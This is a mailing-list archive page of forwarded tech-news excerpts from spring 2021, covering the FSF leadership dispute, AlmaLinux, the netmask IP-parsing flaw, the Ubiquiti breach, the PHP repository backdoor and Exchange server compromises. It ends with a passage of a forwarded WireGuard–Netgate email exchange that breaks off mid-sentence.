'Richard Stallman's name has now been taken off the official web page of the steering committee for GCC, reports IT Wire. But they also note new changes this week in the management team of the Free Software Foundation: A statement from [FSF executive director John] Sullivan, deputy director John Hsieh, and chief technology officer Ruben Rodriguez on 30 March said: "As members of FSF management, we have decided to resign, with specific end dates to be determined. We believe in the importance of the FSF's mission and feel a new team will be better placed to implement recent changes in governance..." The resignations come in the wake of FSF founder Richard Stallman announcing on 19 March, during the organisation's annual LibrePlanet conference this year that he was rejoining the board. "Some of our colleagues in the FSF have decided to resign," reads an official response from the FSF. "We are grateful for the good work they have done for so long, and we will miss them. We regret losing them; we regret the situation that has motivated them to leave." Another FSF board member also resigned last week. Meanwhile, Ars Technica reports the FSF has created a new seat on the board to be filled by someone from FSF union staff, with acting FSF President Geoffrey Knauth calling it "an important step in the FSF's effort to recognize and support new leadership, to connect that leadership to the community, to improve transparency and accountability, and to build trust. There is still considerable work to be done, and that work will continue." Ars Technica adds: The elephant in the room that the FSF's remaining board members seem determined to ignore is the continued presence of Stallman himself — who, along with the rest of the FSF board, will soon need to undergo its new "transparent, formal process for identifying [members] who are wise, capable, and committed to the FSF's mission." ' -- source: https://news.slashdot.org/story/21/04/03/0048216 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

AlmaLinux Released As a Stable RHEL Clone For Those Who Liked CentOS
by Peter Reutemann 05 Apr '21

05 Apr '21

'LinuxReviews.org: CentOS used to be the go-to alternative for those who wanted to use Red Hat Enterprise Linux (RHEL) without having to pay RedHat to use it. It was a almost 1:1 clone until RedHat took control of it and turned it into what is now a RHEL beta-version, not a stable RHEL release without the branding. Almalinux is one of several projects that have made their own RHEL forks in response. The first Almalinux version is now released. ZDNet notes that CentOS co-founder Gregory Kurtzer has announced his own RHEL clone and CentOS replacement named Rocky Linux. But they offer this report on AlmaLinux: CloudLinux — which was founded in 2009 to provide a customized, high-performance, lightweight RHEL/CentOS server clone for multitenancy web and server hosting companies — came ready to deliver. The new free AlmaLinux is now stable and ready for production workloads. The company also announced the formation of a non-profit organization: AlmaLinux Open Source Foundation. This group will take over managing the AlmaLinux project going forward. CloudLinux has committed a $1 million annual endowment to support the project. Jack Aboutboul, former Red Hat and Fedora engineer and architect, will be AlmaLinux's community manager. Altogether, Aboutboul brings over 20 years of experience in open-source communities as a participant, manager, and evangelist... "In an effort to fill the void soon to be left by the demise of CentOS as a stable release, AlmaLinux has been developed in close collaboration with the Linux community," said Aboutaboul in a statement. "These efforts resulted in a production-ready alternative to CentOS that is supported by community members...." In talking with CentOS business users, who deployed CentOS on web and host servers, I found many of them to be very hopeful about AlmaLinux. One from a mid-Atlantic-based Linux hosting company said, "What we want is a stable Linux that our customers can rely on from year to year. Since CentOS Stream can't deliver that, we think — hope — that AlmaLinux can do it for us and our users instead...." This first release of AlmaLinux is a one-to-one binary compatible fork of RHEL 8.3. Looking ahead, AlmaLinux will seek to keep step-in-step with future RHEL releases... The GitHub page has already been published and the completed source code has been published in the main download repository. The CloudLinux engineering team has also published FAQ on AlmaLinux Wiki. "The sudden shift in direction for CentOS that was announced in December created a big void for millions of CentOS users," said Simon Phipps, open source advocate and a former president of the Open Source Initiative who is on the governing board of the AlmaLinux project. In a statement, Phipps said that "As a drop-in open-source replacement, AlmaLinux provides those users with continuity and new opportunity to be part of a vibrant community built around creating and supporting this new Linux distribution under non-profit governance. "I give a lot of credit to CloudLinux for stepping in to offer CentOS users a lifeline to continue with AlmaLinux."' -- source: https://linux.slashdot.org/story/21/04/03/0450256 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

NYT: 'If You Care About Privacy, It's Time to Try a New Web Browser'
by Peter Reutemann 05 Apr '21

05 Apr '21

'This week the lead consumer technology writer for The New York Times urged readers to switch their browser from Chrome, Safari, or Microsoft Edge to a private browser. "For about a week, I tested three of the most popular options — DuckDuckGo, Brave and Firefox Focus. Even I was surprised that I eventually switched to Brave as the default browser on my iPhone." Firefox Focus, available only for mobile devices like iPhones and Android smartphones, is bare-bones. You punch in a web address and, when done browsing, hit the trash icon to erase the session. Quitting the app automatically purges the history. When you load a website, the browser relies on a database of trackers to determine which to block. The DuckDuckGo browser, also available only for mobile devices, is more like a traditional browser. That means you can bookmark your favorite sites and open multiple browser tabs. When you use the search bar, the browser returns results from the DuckDuckGo search engine, which the company says is more focused on privacy because its ads do not track people's online behavior. DuckDuckGo also prevents ad trackers from loading. When done browsing, you can hit the flame icon at the bottom to erase the session. Brave is also more like a traditional web browser, with anti-tracking technology and features like bookmarks and tabs. It includes a private mode that must be turned on if you don't want people scrutinizing your web history. Brave is also so aggressive about blocking trackers that in the process, it almost always blocks ads entirely. The other private browsers blocked ads less frequently.... In the end, though, you probably would be happy using any of the private browsers... For me, Brave won by a hair. My favorite websites loaded flawlessly, and I enjoyed the clean look of ad-free sites, along with the flexibility of opting in to see ads whenever I felt like it. Brendan Eich, the chief executive of Brave, said the company's browser blocked tracking cookies "without mercy." "If everybody used Brave, it would wipe out the tracking-based ad economy," he said. Count me in. ' -- source: https://news.slashdot.org/story/21/04/03/1942218 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

IPv4 Parsing Flaw In NPM Netmask Could Affect 270,000 Apps
by Peter Reutemann 01 Apr '21

01 Apr '21

'The Security Ledger: Independent security researchers analyzing the widely used open source component netmask have discovered security vulnerabilities that could leave more than a quarter million open source applications vulnerable to attack, according to a report released Monday, The Security Ledger reports. According to a report by the site Sick Codes, the flaws open applications that rely on netmask to a wide range of malicious attacks including Server Side Request Forgeries (SSRF) and Remote- and Local File Includes (RFI, LFI) that could enable attackers to ferry malicious code into a protected network, or siphon sensitive data out of one. Even worse, the flaws appear to stretch far beyond a single open source module, affecting a wide range of open source development languages, researchers say. Netmask is a widely used package that allows developers to evaluate whether a IP address attempting to access an application was inside or outside of a given IPv4 range. Based on an IP address submitted to netmask, the module will return true or false about whether or not the submitted IP address is in the defined "block." According to the researcher using the handle "Sick Codes," the researchers discovered that netmask had a big blind spot. Specifically: it evaluates certain IP addresses incorrectly: improperly validating so-called "octal strings" rendering IPv4 addresses that contain certain octal strings as integers. For example, the IP4 address 0177.0.0.1 should be evaluated by netmask as the private IP address 127.0.0.1, as the octal string "0177" translates to the integer "127." However, netmask evaluates it as a public IPv4 address: 177.0.0.1, simply stripping off the leading zero and reading the remaining parts of the octal string as an integer. The implications for modules that are using the vulnerable version of netmask are serious. According to Sick Codes, remote attackers can use SSRF attacks to upload malicious files from the public Internet without setting off alarms, because applications relying on netmask would treat a properly configured external IP address as an internal address. Similarly, attackers could also disguise remote IP addresses local addresses, enabling remote file inclusion (RFI) attacks that could permit web shells or malicious programs to be placed on target networks. But researchers say much more is to come. The problems identified in netmask are not unique to that module. Researchers have noted previously that textual representation of IPv4 addresses were never standardized, leading to disparities in how different but equivalent versions of IPv4 addresses (for example: octal strings) are rendered and interpreted by different applications and platforms.' -- source: https://it.slashdot.org/story/21/03/31/0046249 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

How to achieve smart home nirvana (or, home automation without subscription)
by Peter Reutemann 01 Apr '21

01 Apr '21

'What comes to mind when you think of a smart home? Wi-Fi enabled light bulbs, video doorbells, cloud-connected robot vacuums, or smart fridges perhaps? Brands like Google/Nest or everything enabled with Amazon’s Alexa? While often providing some genuine convenience, these devices are also usually designed to invite and lock users into manufacturers' ecosystems. Create a cool piece of hardware, you’ll make one sale. Create a cool piece of hardware that extracts recurring monthly service fees for cloud storage or to unlock extra functionality, and you’ll have sales for life. Compounding our collective frustration, these ecosystems are often incompatible with each other and require multiple different apps for control. Not only are subscriptions and upselling part of the game, the underlying business models for these products are built around planned obsolescence and mining user data. Luckily, aspirational smart home folks in 2021 have at least one viable alternative: Home Assistant. This piece of open source software is the proverbial ring “that in the darkness binds them.” It is the glue for smart home gear spanning all sorts of manufacturers, from behemoths like Google to minnows like Shelly. It’s a project that has set out to change all of the smart home pitfalls listed above by putting local control, privacy, and interoperability first.' -- source: https://arstechnica.com/information-technology/2021/03/how-to-achieve-smart… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Ubiquiti Massively Downplayed a 'Catastrophic' Security Breach To Minimize Impact On Stock Price, Alleges Whistleblower
by Peter Reutemann 31 Mar '21

31 Mar '21

'In January, Ubiquiti Networks sent out a notification to its customers informing them of a security breach and asking all users to change their account passwords and turn on two-factor authentication. "We recently became aware of unauthorized access to certain of our information technology systems hosted by a third party cloud provider," Ubiquiti said at the time. Now, according to Krebs on Security, a whistleblower "alleges Ubiquiti massively downplayed a 'catastrophic' incident to minimize the hit to its stock price, and that the third-party cloud provider claim was a fabrication." From the report: "It was catastrophically worse than reported, and legal silenced and overruled efforts to decisively protect customers," [the source] wrote in a letter to the European Data Protection Supervisor. "The breach was massive, customer data was at risk, access to customers' devices deployed in corporations and homes around the world was at risk." According to [the source], the hackers obtained full read/write access to Ubiquiti databases at Amazon Web Services (AWS), which was the alleged "third party" involved in the breach. Ubiquiti's breach disclosure, he wrote, was "downplayed and purposefully written to imply that a 3rd party cloud vendor was at risk and that Ubiquiti was merely a casualty of that, instead of the target of the attack." In reality, [the source] said, the attackers had gained administrative access to Ubiquiti's servers at Amazon's cloud service, which secures the underlying server hardware and software but requires the cloud tenant (client) to secure access to any data stored there. "They were able to get cryptographic secrets for single sign-on cookies and remote access, full source code control contents, and signing keys exfiltration," [the source] said. [The source] says the attacker(s) had access to privileged credentials that were previously stored in the LastPass account of a Ubiquiti IT employee, and gained root administrator access to all Ubiquiti AWS accounts, including all S3 data buckets, all application logs, all databases, all user database credentials, and secrets required to forge single sign-on (SSO) cookies. Such access could have allowed the intruders to remotely authenticate to countless Ubiquiti cloud-based devices around the world. According to its website, Ubiquiti has shipped more than 85 million devices that play a key role in networking infrastructure in over 200 countries and territories worldwide. Instead of asking customers to change their passwords when they next log on, [the source] says Ubiquiti should've immediately invalidated all of its customer's credentials and forced a reset on all accounts, mainly because the intruders already had credentials needed to remotely access customer IoT systems.' -- source: https://it.slashdot.org/story/21/03/30/2057237 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Red Hat withdraws from the Free Software Foundation after Stallman’s return
by Peter Reutemann 30 Mar '21

30 Mar '21

'Last week, Richard M. Stallman—father of the GNU Public License that underpins Linux and a significant part of the user-facing software that initially accompanied the Linux kernel—returned to the board of the Free Software Foundation after a two-year hiatus due to his own highly controversial remarks about his perception of Jeffrey Epstein's victims as "entirely willing." As a result of RMS' reinstatement, Red Hat—the Raleigh, North Carolina-based open source software giant that produces Red Hat Enterprise Linux—has publicly withdrawn funding and support from the Free Software Foundation: Red Hat was appalled to learn that [Stallman] had rejoined the FSF board of directors. As a result, we are immediately suspending all Red Hat funding of the FSF and any FSF-hosted events.' -- source: https://arstechnica.com/gadgets/2021/03/red-hat-withdraws-from-the-stallman… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

PHP's Git Server Hacked To Add Backdoors To PHP Source Code
by Peter Reutemann 30 Mar '21

30 Mar '21

'Late Sunday night, on March 28, 2021, Nikita Popov, a core PHP committer, released a statement indicating that two malicious commits had been pushed to the php-src Git repository. These commits were pushed to create a backdoor that would have effectively allowed attackers to achieve remote code execution through PHP and an HTTP header. "The incident is alarming considering PHP remains the server-side programming language to power over 79% of the websites on the Internet," adds BleepingComputer. "In the malicious commits [1, 2] the attackers published a mysterious change upstream, 'fix typo' under the pretense this was a minor typographical correction. However, taking a look at the added line 370 where zend_eval_string function is called, the code actually plants a backdoor for obtaining easy Remote Code Execution (RCE) on a website running this hijacked version of PHP." According to Popov, the first commit was detected a couple hours after it was made, and the changes were reverted right away. "Although a complete investigation of the incident is ongoing, according to PHP maintainers, this malicious activity stemmed from the compromised git.php.net server, rather than compromise of an individual's Git account," reports BleepingComputer. "As a precaution following this incident, PHP maintainers have decided to migrate the official PHP source code repository to GitHub."' -- source: https://developers.slashdot.org/story/21/03/29/2111200 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Fairphone suggests Qualcomm is the biggest barrier to long-term Android support
by Peter Reutemann 29 Mar '21

29 Mar '21

'Fairphone—the sustainable, modular smartphone company—is still shipping updates to the 5-year-old Fairphone 2. The company won't win any awards for speed, but the phone—which launched in 2015 with Android 5—is now being updated to Android 9.0. The most interesting part of this news is a video from Fairphone detailing the update process the company went through, which offers more transparency than we normally get from a smartphone manufacturer. To hear Fairphone tell the story of Android updates, the biggest barrier to longer-term support is—surprise!—Qualcomm. Fairphone wants consumers to keep their phones for longer, creating less e-waste and carbon emissions via modular replacement parts that are easily upgradeable and repairable. A big challenge for designing a long-lasting phone like this is software support. Even if Fairphone wanted to support a phone forever, Android software updates do not work that way, and major OS updates normally rely on a relay race of companies that all need to hand-off a build of Android before it reaches your phone.' -- source: https://arstechnica.com/gadgets/2021/03/the-fairphone-2-hits-five-years-of-… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

UNIX's Founders Created Another OS at Bell Labs: 'Plan 9'
by Peter Reutemann 29 Mar '21

29 Mar '21

'The team behind UNIX also built another operating system at Bell Labs, writes the corporate CTO and president of Nokia Bell Labs: Starting in the late 1980s, a group led by Rob Pike and UNIX co-creators Ken Thompson and Dennis Ritchie developed "Plan 9". Their motivation was two-fold: to build an operating system that would fit an increasingly distributed world, and to do so in a clean and elegant manner. The plan was not to build directly on the Unix foundation but to implement a new design from scratch. The result was named Plan 9 from Bell Labs — the name an inside joke inspired by the cult B-movie "Plan 9 from Outer Space." Plan 9 is built around a radically different model from that of conventional operating systems. The OS is structured as a collection of loosely coupled services, which may be hosted on different machines. Another key concept in its design is that of a per-process name space: services can be mapped on to local names fixed by convention, so that programs using those services need not change if the current services are replaced by others providing the same functionality. Despite the groundbreaking innovations in Plan 9, the operating system did not take off — at least not enough to justify Bell Labs continued investment in Plan 9 development. But Plan 9's innovations found their way into many commercial OSes: the concept of making OS services available via the file system is now pervasive in Linux; Plan 9's minimalist windowing system design has been replicated many times; the UTF-8 character encoding used universally today in browsers was invented for, and first implemented in, Plan 9; and the design of Plan 9 anticipated today's microservice architectures by more than a decade...! Starting this week, Plan 9 will have a new home in the space it helped define: cyberspace. We are transferring the copyright in Plan 9 software to the Plan 9 Foundation for all future development, allowing them to carry on the good work that Bell Labs and many other Plan 9 enthusiasts have undertaken over the past couple of decades. Indeed, there is an active community of people who have been working on Plan 9 and who are interested in the future evolution of this groundbreaking operating system. That community is organizing itself bottom-up into the new Plan 9 Foundation, which is making the OS code publicly available under a suitable open-source software license. We at Nokia and Bell Labs are huge advocates for the power of open-source communities for such pioneering systems that have the potential to benefit the global software development community. Who knows, perhaps Plan 9 will become a part of the emerging distributed cloud infrastructure that will underpin the coming industrial revolution?' -- source: https://tech.slashdot.org/story/21/03/28/192227 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

New Android malware with full range of spying capabilities has been found
by Peter Reutemann 29 Mar '21

29 Mar '21

'Researchers have discovered a new advanced piece of Android malware that finds sensitive information stored on infected devices and sends it to attacker-controlled servers. The app disguises itself as a system update that must be downloaded from a third-party store, researchers from security firm Zimperium said on Friday. In fact, it’s a remote-access trojan that receives and executes commands from a command-and-control server. It provides a full-featured spying platform that performs a wide range of malicious activities. Zimperium listed the following capabilities: - Stealing instant messenger messages - Stealing instant messenger database files (if root is available) - Inspecting the default browser’s bookmarks and searches - Inspecting the bookmark and search history from Google Chrome, Mozilla Firefox, and Samsung Internet Browser - Searching for files with specific extensions (including .pdf, .doc, .docx, and .xls, .xlsx) - Inspecting the clipboard data - Inspecting the content of the notifications - Recording audio - Recording phone calls - Periodically take pictures (either through the front or back cameras) - Listing of the installed applications - Stealing images and videos - Monitoring the GPS location - Stealing SMS messages - Stealing phone contacts - Stealing call logs - Exfiltrating device information (e.g., installed applications, device name, storage stats) - Concealing its presence by hiding the icon from the device’s drawer/menu' -- source: https://arstechnica.com/gadgets/2021/03/new-android-malware-with-full-range… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

cURL's 20th Anniversary Celebrated With 3D-Printed 'GitHub Steel' Contribution Graph
by Peter Reutemann 29 Mar '21

29 Mar '21

'This week Swedish developer Daniel Stenberg posted a remarkable reflection on the 20th anniversary of his command-line data tool, cURL: curl was adopted in Red Hat Linux in late 1998, became a Debian package in May 1999, shipped in Mac OS X 10.1 in August 2001. Today, it is also shipped by default in Windows 10 and in iOS and Android devices. Not to mention the game consoles, Nintendo Switch, Xbox and Sony PS5. Amusingly, libcurl is used by the two major mobile OSes but not provided as an API by them, so lots of apps, including many extremely large volume apps bundle their own libcurl build: YouTube, Skype, Instagram, Spotify, Google Photos, Netflix etc. Meaning that most smartphone users today have many separate curl installations in their phones. Further, libcurl is used by some of the most played computer games of all times: GTA V, Fortnite, PUBG mobile, Red Dead Redemption 2 etc. libcurl powers media players and set-top boxes such as Roku, Apple TV by maybe half a billion TVs. curl and libcurl ships in virtually every Internet server and is the default transfer engine in PHP, which is found in almost 80% of the world's almost two billion websites. Cars are Internet-connected now. libcurl is used in virtually every modern car these days to transfer data to and from the vehicles. Then add media players, kitchen and medical devices, printers, smart watches and lots of "smart"; IoT things. Practically speaking, just about every Internet-connected device in existence runs curl. I'm convinced I'm not exaggerating when I claim that curl exists in over ten billion installations world-wide... Those 300 lines of code in late 1996 have grown to 172,000 lines in March 2021. Stenberg attributes cURL's success to persistence. "We hold out. We endure and keep polishing. We're here for the long run. It took me two years (counting from the precursors) to reach 300 downloads. It took another ten or so until it was really widely available and used." But he adds that 22 different CPU architectures and 86 different operating systems are now known to have run curl. In a later blog post titled "GitHub Steel," Stenberg also reveals that GitHub gave him a 3D-printed steel version of his 2020 GitHub contribution matrix — accompanied by a friendly note. "Please accept this small gift as a token of appreciation on behalf of all of us here at GitHub, and everyone who benefits from your work."' -- source: https://tech.slashdot.org/story/21/03/28/0143206 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Attackers Breach 21,000 Microsoft Exchange Servers, Install Malware Implicating Brian Krebs
by Peter Reutemann 29 Mar '21

29 Mar '21

'Security researcher Brian Krebs wants you to know... "New data suggests someone has compromised more than 21,000 Microsoft Exchange Server email systems worldwide and infected them with malware that invokes both KrebsOnSecurity and Yours Truly by name. Let's just get this out of the way right now: It wasn't me." The Shadowserver Foundation, a nonprofit that helps network owners identify and fix security threats, says it has found 21,248 different Exchange servers which appear to be compromised by a backdoor and communicating with [a domain that begins with brian . krebsonsecurity... Not a safe domain.] Shadowserver has been tracking wave after wave of attacks targeting flaws in Exchange that Microsoft addressed earlier this month in an emergency patch release. The group looks for attacks on Exchange systems using a combination of active Internet scans and "honeypots" — systems left vulnerable to attack so that defenders can study what attackers are doing to the devices and how. David Watson, a longtime member and director of the Shadowserver Foundation Europe, says his group has been keeping a close eye on hundreds of unique variants of backdoors (a.k.a. "web shells") that various cybercrime groups worldwide have been using to commandeer any unpatched Exchange servers. These backdoors give an attacker complete, remote control over the Exchange server (including any of the server's emails)... Shadowserver's honeypots saw multiple hosts with the Babydraco backdoor doing the same thing: Running a Microsoft Powershell script that fetches the file "krebsonsecurity.exe"... Oddly, none of the several dozen antivirus tools available to scan the file at Virustotal.com currently detect it as malicious. The Krebsonsecurity file also installs a root certificate, modifies the system registry, and tells Windows Defender not to scan the file. Watson said the Krebsonsecurity file will attempt to open up an encrypted connection between the Exchange server and the above-mentioned IP address, and send a small amount of traffic to it each minute. Shadowserver found more than 21,000 Exchange Server systems that had the Babydraco backdoor installed. But Watson said they don't know how many of those systems also ran the secondary download from the rogue Krebsonsecurity domain. "Despite the abuse, this is potentially a good opportunity to highlight how vulnerable/compromised MS Exchange servers are being exploited in the wild right now, and hopefully help get the message out to victims that they need to sign up our free daily network reports," Watson said.' -- source: https://it.slashdot.org/story/21/03/28/1924206 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

'Open Source Initiative' Stops Collaboration With FSF Over Richard Stallman's Return
by Peter Reutemann 28 Mar '21

28 Mar '21

'The Open Source Initiative's board of directors recently issued the following statement: Richard M. Stallman recently announced that he will be returning to the board of directors of the Free Software Foundation (FSF), a statement that the FSF has not denied. We believe it is inappropriate for Stallman to hold any leadership position in the free and open source software community. If we do not speak out against this, our silence may be misinterpreted as support. The Open Source Initiative calls upon the Free Software Foundation to hold Stallman responsible for past behavior, remove him from the organization's leadership and work to address the harm he caused to all those he has excluded: those he considers less worthy, and those he has hurt with his words and actions. We will not participate in any events that include Richard M. Stallman and we cannot collaborate with the Free Software Foundation until Stallman is removed from the organization's leadership. Free and open source software will not be accessible to all until it is safe for everyone to participate, and we therefore call upon our peers in the broader software community to join us in making these commitments. Another perspective turns up in the "This Week in Programming" column: YouTuber Brodie Roberston offers his take on the return of RMS, saying "Like it or not, Richard Stallman is the face of free software. When you think about the free software movement, he is the one person that comes to mind." He then goes on to argue that the FSF is essentially the "ideological arm" of Stallman himself and that he is essentially irreplaceable not only because of his thoughts around free software but his passion for it, before going on to list the things that are "part of his charm."' -- source: https://news.slashdot.org/story/21/03/27/0347246 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Open Collective Launches Funds that Financially Support Open-Source Communities
by Peter Reutemann 28 Mar '21

28 Mar '21

'"Introducing Funds for Open Source!" reads a blog post on the site for Open Collective. Back in 2018 TechCrunch called them "a non-profit platform that provides tools to 'collectives' to receive money while also offering mechanisms to allow the members of those collectives to spend their money in a democratic and transparent way." But while they're currently serving 2500+ projects, now SD Times reports that Open Collective "is trying to make working full-time for an open-source project an alternative to a career developing for a for-profit company." It believes the steps to achieve this goal include eliminating friction between projects, the communities that support them, and the corporations that depend on them. It is introducing Funds to its open funding management platform to make it easier for companies to invest in open-source projects by making a one-time payment to a Fund, which then redistributes the money to different projects and contributors, rather than paying those projects individually... According to Open Collective, more and more companies are now becoming aware of the need to compensate developers for their work on open-source projects and are willing to fund them. There are a few reasons for this, such as developers taking pride in working at a company that supports open source, access to creators, building a positive reputation within the community, ensuring their own open-source dependencies are being properly maintained, and ensuring open-source projects can scale with their needs.' -- source: https://news.slashdot.org/story/21/03/27/2136248 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Fwd: Re: [ANNOUNCE] WireGuard for FreeBSD in development for 13.y – and a note of how we got here
by Eric Light 27 Mar '21

27 Mar '21

Further to the list conversations about Wireguard and FreeBSD, it looks like things have become much, much worse. Conversation between Jason Donenfeld (Wireguard) and Scott Long (Netgate) below - ew. As LDO mentioned, Netgate don't seem to be particularly friendly members of the open source community :-/ E -------------------------------------------- Q: Why is this email five sentences or less? A: http://five.sentenc.es ----- Original message ----- From: "Jason A. Donenfeld" <Jason(a)zx2c4.com> To: wireguard(a)lists.zx2c4.com, Scott Long <scottl(a)netgate.com> Cc: secteam(a)FreeBSD.org, cperciva(a)FreeBSD.org Subject: Re: [ANNOUNCE] WireGuard for FreeBSD in development for 13.y – and a note of how we got here Date: Tuesday, 16 March 2021 14:18 Hi Scott, It's certainly disappointing to receive your email like that. I see that you're really upset, and I think we have a shared interest in deescalating this. You've mentioned the desire to talk about this in public, so I'm responding in the announcement thread to you, as this seems like the appropriate venue for discussion. I've also CC'd the FreeBSD Security Officer. I've responded to your email and its threats in line mailing-list style below: On Mon, Mar 15, 2021 at 6:08 PM Scott Long <scottl(a)netgate.com> wrote: > What you and Kyle did was tell the world that there are a number of > zero-day exploits in the code. You gave us no details until after the > fact, gave us no time to mitigate, correct, and publish before your > announcement and Kyle's code drop, and used the opportunity to > bash the code, and by extension us, for your own self-gain. I have no idea how you possibly have arrived at this here. FreeBSD 13 is currently at RC2 or RC3, if I recall correctly. Our whole motivation for working on this so tirelessly and with so much energy and devotion over the week was to get things fixed up before 13 was actually released. I dropped everything else I was working on to focus on this. I'm actually with my folks in Colorado and should be spending more time with them but the idea of FreeBSD 13 shipping with all those bugs seemed like a really important thing to address. Here's what we did, step by step: 1. We made a clone of the freebsd git repo where we could all push changes to master, to git.zx2c4.com like everything else. 2. We took turns taking big passes at the codebase, reading it, auditing it, fixing things. We did a lot of syncing and comparison with the OpenBSD code base. For example, in one step, we reordered the functions to match the flow of OpenBSD so we could see it more easily side by side. 3. We kept pushing commits like this in that manner. 4. We didn't know where we'd end up, but after a few days of this, the number of changes we had accumulated and fishy business we had observed was massive. 5. When we thought we reached a good resting point -- and when it became clear that our rapid fire changes were becoming too numerous -- we squashed that down to a summary commit, and Kyle committed it. 6. Seeing that the crypto needed to be re-accelerated, I published a call for help here -- https://lists.freebsd.org/pipermail/freebsd-hackers/2021-March/057076.html 7. I published wireguard-tools with the improved wg(8) command here -- https://lists.zx2c4.com/pipermail/wireguard/2021-March/006493.html 8. I sent a summary of everything to the mailing list here -- https://lists.zx2c4.com/pipermail/wireguard/2021-March/006494.html I also made sure to email a FreeBSD Security Officer, Colin, to keep him posted about the state of this, so he was kept apprised. Again, the whole idea was: two weeks until release! If I suggest the code is just disabled, people will be really upset, so instead we'll try to fix as much as fast as possible before the release. And actually, really focused sprints like that are fun and stimulating. We were all really enjoying writing code until the torrents of anger started coming from you about our efforts. (And I also learned that this isn't the first time you guys tried to intimidate an open source project -- see this summary of the opnSense defamatory website Netgate created -- https://opnsense.org/opnsense-com/ .) And in the process, too, I've tried to be in contact with you and Jim and let you know what our intentions are and to diffuse tensions. I spent time on a video call trying to describe to you some of the security things we found, in case it wasn't possible for you to use the new code right away. I've also made it abundantly clear to you how much I want to work WITH Netgate. When that Reddit thread cropped up, I offered to you multiple times to send a message to it telling people that we've spoken and it looks like you have a good plan and every things going to be okay, but you didn't respond to my offer. On Mon, Mar 15, 2021 at 6:08 PM Scott Long <scottl(a)netgate.com> wrote: > None > of these actions reflect good-faith collaboration, and your statements > that you think that our work is "really cool" ring hollow. Maybe you > and Kyle are really naive and thought that this was how people > normally collaborate in the security and business worlds, and that > everyone would rush to praise you and shower you with contracts > and funding. And hey, maybe that’ll happen, you certainly have > made a splash. That of course, comes at our expense, and it’s > likely to be a pretty damaging one. Now with the Ars article, I’m > starting to wonder if this was a coordinated smear campaign. > Normally we don’t get this kind of attention. It’s going to be painful > to navigate our way out. I'm not sure how to address these types of... theories. I certainly AM acting in good faith. I can't possibly see how it benefits anybody to have WireGuard and Netgate at odds with one another. You guys make a neat product based on open source software, and I think it's great you're planning to add WireGuard to it. My interest is in making sure the underlying operating system -- FreeBSD 13 -- does that well. (Or, I think you mentioned to me this morning that you're actually planning to base it on FreeBSD 12 for some time, but same idea for the backport you're working on, I guess.) And there's no "smear campaign" -- that's outrageous. I have no idea how that would help anybody at all. I should point out, again to you, how grateful I am that Netgate got the initial work on this started. Had you guys not gotten if_wg rolling, it's not clear to me that it'd exist in the first place. >From your end, it's very disappointing that you're (below) planning to attack security researchers and kernel programmers who took the time to rewrite code to make it better, hustling to get it in before FreeBSD 13 is released. On Mon, Mar 15, 2021 at 6:08 PM Scott Long <scottl(a)netgate.com> wrote: > I’ll be writing an article tonight outlining the mistakes that we made > and what we will be doing to correct it. I’ll also be highlighting that > this incident has been a textbook example of the wrong way for > people to collaborate in the security community, and that extreme > caution should be taken in any future dealings with you. Your > actions are self serving and in bad faith, and your words are > hollow and untrustworthy. I don’t care if you disagree or don’t see > it this way, this is the effect that you’ve had. It makes sense to communicate with your customers about things with your upcoming products if you feel it's necessary. But threatening that you're going to highlight "that extreme caution should be taken in any future dealings with you" sounds to me like a threat of some intense slander. And again, attacking security researchers and kernel programmers who took time to rewrite code to make it better before a release deadline... That's ...wow. I wish you would not go on the attack like that. Instead, it seems like we can both be glad that we're on the path to having better code! And that there's a team of people volunteering to do this and enjoying writing that code. We're all working together to make things better. We worked really super hard on fixing up this code base. It was a LOT of work. And I would like to keep working on it and feeling good about it. So I'm just disappointed that somehow this has devolved for you into making threats like that. On Mon, Mar 15, 2021 at 6:08 PM Scott Long <scottl(a)netgate.com> wrote: > I’ve also spoken with the FreeBSD Security Officer, and we’ve > agreed that wireguard will be removed from all branches of FreeBSD > until further notice. I’ve also informed Kyle of this. I do not support > its reintroduction into FreeBSD, whether in the 